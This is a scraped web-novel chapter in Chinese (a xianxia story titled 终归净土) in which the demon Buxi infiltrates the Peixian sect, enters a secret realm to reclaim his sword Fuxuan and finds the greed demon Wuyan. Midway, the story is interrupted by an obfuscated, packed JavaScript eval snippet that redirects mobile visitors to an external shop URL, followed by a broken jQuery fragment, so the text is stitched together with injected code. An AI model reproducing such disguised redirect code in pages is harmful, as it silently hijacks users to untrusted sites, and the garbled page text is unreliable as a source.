文趣网 > 其他小说 > 终归净土 > 7. 弗谖
    不息曾担心过木天歌钱花完了该当如何,现在看来完全是多虑。

    木天歌借着买草药当来的钱开了家医铺,门庭若市,日子蒸蒸日上。

    这本该是件好事,但医馆有闲房,木天歌于是分出一间单独房间给他住。

    单独的一间房!

    三番五次讨巧卖乖,装傻充愣,花言巧语,试图换房。均被木天歌驳回后,不息干脆装病,躺在病床上假装抹泪。

    倒也不费什么功夫,他只消捂着胸口说自己旧病复发,木天歌就会抽空陪着他。

    托他粘人的福,这些天木天歌不断给他修复经脉,现已好了九成。

    不息尝试运功,魔脉几乎被修复好,只是尚有些脆弱。

    他怀念起昔日自己翻手为云覆手为雨的广大神通,隐隐兴奋起来。

    不息正喜不自胜,忽然极其敏锐地一缕魔气。

    不息登时瞪大了眼,这气息他再熟悉不过了。

    他的魔剑,弗谖!

    多年前,他修为尽失落荒而逃,弗谖也不知所踪。只是一人一剑作战多年,早已同气连枝,不息自然能够隐隐感觉到它的位置。

    不息按捺不住激动,在神识中仔细探查弗谖的位置,忽而眉头一皱。

    弗谖这把魔气大盛的魔剑,居然在当今天下第一大修仙门派——佩弦门境内!不仅如此,位置飘忽不定,气息若有若无。

    不息在饭桌犹豫再三,把要前往佩弦门的意向告诉了木天歌。

    “佩弦门?”木天歌一愣,“佩弦门向来制度森严,闲杂人等禁止入内的。”

    不息一脸纯真:“听说佩弦门能教人仙术,我想学点保护你。”

    木天歌忍俊不禁:“人家前几日不是说了,十五岁以上的不收吗!”

    不息为了一个解释正绞尽脑汁,门外忽而响起一个男人的声音:“大夫安在?”

    在不息怨妇般的眼神中,木天歌放下筷子跑到前堂:“何事?”

    来人看着三十余岁,身着一袭华丽的白衣,与民风淳朴的枫岚渡格格不入,显然不是本地人。

    男人旁边,还有一个畏手畏脚的小贩。木天歌一眼就认出,这是她前几日去当药时遇到的那个小贩。

    男人彬彬有礼地一抱手:“在下佩弦门白玉林,敢问姑娘尊姓大名?”

    木天歌回礼道:“不敢,鄙人姓木,名天歌。白大人这是来?”

    白玉林此人,不息略有耳闻。

    佩弦门长老,当今天下第一医圣,风光无两。

    白玉林从袖中掏出一株草,双眼放光:“这株霞草可是姑娘所种?”

    “正是。”

    “可否请教姑娘的种药之术?你当掉的霞草比一般霞草功效都要好上数倍。”

    这株霞草一个的功效顶八个,当时医馆的大家都为之一震。

    木天歌一阵沉默。

    其实无非浇水施肥,只是经过她手,药草们更有生气罢了。

    白玉林忙道:“木姑娘放心,我绝不白问,佩弦门愿邀姑娘去佩弦门交流几日……”

    她张口就要拒绝,却发觉衣角被身后之人扯了扯。

    木天歌莞尔道:“那好吧,不过得带着他。”

    背后的不息似乎笑了,还轻轻挠了挠她的掌心。

    白玉林终于把目光移向她身后那个正常八尺的男子。

    不息扯出个礼貌的假(傻)笑。

    白玉林虽然奇怪,但还是回他一个真诚的而礼貌的笑。

    仅仅过了一炷香,三人便来到佩弦门那金碧辉煌的大门口。

    玉质门柱几乎要与主城的摘星楼一般高,还嵌着各色翡翠珠栎。

    不息内心啧啧啧道:相比贪魔的行宫,还差一点。

    木天歌和不息身着朴素的棉麻衣裳,甚至蹭些灰,可两人都漂亮得逼眼,让人忍不住流连目光。

    佩弦门的弟子们身着统一的金色校服,一路偷偷盯着他们,盯得不息发毛。

    “哪里来的村姑,一股农村的土味……”

    “看着不像修真人士?

    “说不定呢,咱们佩弦门的秘境不是最近要开了。”

    不息捕捉到了关键字眼,竖起耳朵。

    “掌门不是说今年秘境有些问题,暂时不开吗?”

    “那怎么行?这秘境八年才开一回!”

    “说是里面出了问题,前几个进去探路的长老一进去便有来无回,杳无音信。”

    “听说有特别危险的古魔族气息,我们进去不就是送死吗……”

    “古魔族不都在魔族呆着吗怎么会在秘境?”

    “我还听说呀,那个秘境会吸人精气,进去的长老们一开始还没什么异常,后几天声音都仿佛苍老了几十岁一般……”

    身后的小弟子们渐行渐远,不息听不清后面的话了。

    白玉林请两人到佩弦门会客厅喝茶。

    白玉林满面春光:“姑娘可否讲讲种植药草心得?”

    木天歌垂着眼抿了口茶:“并非是我种植有方,而是药草的品质好。”

    白玉林端茶的手一顿。

    佩弦门所搜集来药草从来都是最好的品种,她居然说是药草的问题?还是说摆明了不想说?

    木天歌道:“若如不信,我可以把这种药草给您种。不息……”

    她想找不息要药篓,可一转头,药篓还在,他人却不见了。

    白玉林转头问门口的小弟子:“你看见有人走了吗?”

    小弟子一脸茫然:“没有哇!”

    木天歌与白玉林面面相觑,最终木天歌尴尬道:“罢了,他本就贪玩,可能跑出去玩了?我们继续谈正事好了。”

    白玉林反复欲言又止,试探道:“木姑娘,恕在下冒昧,请问他是你的……?”

    木天歌微微一笑:“一起云游的同伴。”

    白玉林用古怪的眼神看了木天歌。

    木天歌没注意他的眼神,自顾自拿出药篓中的药草来:“这种药草是从山上采来的,与其他品种间杂交……”

    不息早已偷偷溜走,随手打晕一个弟子,把人家的衣服套在自己身上。

    尺码不对,太小,撑得他难受。即使他气愤也无可奈何,这已经是他所能找到最高的弟子了。

    “请问。”不息居高临下地走到一群小弟子面前:“秘境入口在哪里?”

    小弟子们指着南边嚷嚷道:“在灵宝山,不过现在入口还锁着,不让进呢。”

    “师兄,你是哪个长老的徒弟?带上我们呗!”

    不息高傲地瞥他们一眼,头也不回地向南走去。

    “豁,佩弦门什么时候有这么俊郎的师兄了?之前竟从未见过……”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691550|207904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不息走到没人的山坳处,双手结印,开始运魔气寻找弗谖。

    弗谖作为一把惊天地泣鬼神的凶器,威力必然殃及旁人。如果猜得不错,它应当就在这个秘境中。

    秘境的空间混乱,兴许是一不小心就被丢到佩弦门了。

    没过一会儿,不息在周遭黑压压的魔气中着睁开双目。

    果然,就在这个秘境的最深处!

    必须尽快夺回弗谖,若是落入佩弦门人之手,再拿回来怕是难如登天。

    不息没费多少功夫就打破了秘境入口的封印,大摇大摆走进去。

    原本绿意盎然的山林逐渐扭曲,一阵炫光闪过,待不息再睁眼,眼前的景象就变成一处烟雾缭绕的七彩山林。

    不息向着弗谖的位置前行,却在云雾中看到两个人的虚影。

    待走近才发现,是两个小童,一男一女,正安静下着棋。不息走近,两人也未曾察觉一般,继续棋局。

    不息只瞥了一眼,便知道了这是什么。

    禁术之一,烂柯棋局。

    不过这秘境中的棋局似乎是天然形成,并没有人为的痕迹。

    此术险恶非常,棋局中一日,顶人间千年。普通人但凡多在这棋局中困一会儿,就会在不知不觉中老死。

    古魔族虽然长寿,却也经不起这种禁术的磋磨。

    再抬眼,周遭的景象又变了。这次是白雪皑皑的雪山,不久后大风扬积雪扑面而来,吹得他皮肤生疼。

    他正懊恼,却在神识发觉弗谖距离自己愈发近了。

    此处是秘境第二层。

    二小童还在原地下棋。男童似乎有些不可置信,抬头看了不息一眼。不息正奇怪,不经意瞥见脚下的几具干尸。

    个个面容枯槁,皮肤紧贴在骨骼上,犹如干巴的羊皮纸。

    二小童的衣袖被狂风吹得狂舞,身体却丝毫不动,棋盘与棋子好似千钧,竟也不动分毫。

    不息睨了眼尸体,嫌恶地后撤一步,微微蹙眉。

    小童声音脆生生的:“尔等何人?”

    不息颇为奇怪。

    他此前从未听说过,烂柯棋局的小儿能张口说话。就目前看来,弗谖大抵是被这烂柯棋局困住了,要想拿回它,还得这棋局主人同意才行。

    “秘境深处,有我要寻之物。还望二位慷慨放行。”

    小童思索片刻,一挥手,不息脚下的地面轰然塌陷,在坠落了不知道多久之后,他终于挨到地面。

    不息好不容易把嵌在石头中的自己拽出来,只觉得浑身燥热难耐。

    视线终于清晰,原来此处是岩浆炼狱。

    炽红发亮的岩浆滚滚而下,溅出厚重的浪花,黑绿色的橄榄岩中还透着丝丝红色的热浪。

    而在岩浆池的中央,一团漆黑的魔气层层包裹着什么,隐隐透出红光。

    不息感到他与弗谖已经很近,迫不及待地向岩浆池跑去。

    他默念古咒,呵道:“来!”

    红光大盛,那些黑雾轰然散去,可露出的却并不是弗谖那威武霸气的剑身,而是一个一身华贵黑衣,身材高大修长的男人。

    男人皮肤病态的发白,眉峰犀利,眼神阴鸷,嘴角似笑非笑,紫红的眸子中流露出恶毒的精光。

    不息瞳孔骤缩,气息不自觉杂乱无章。

    贪魔,无厌!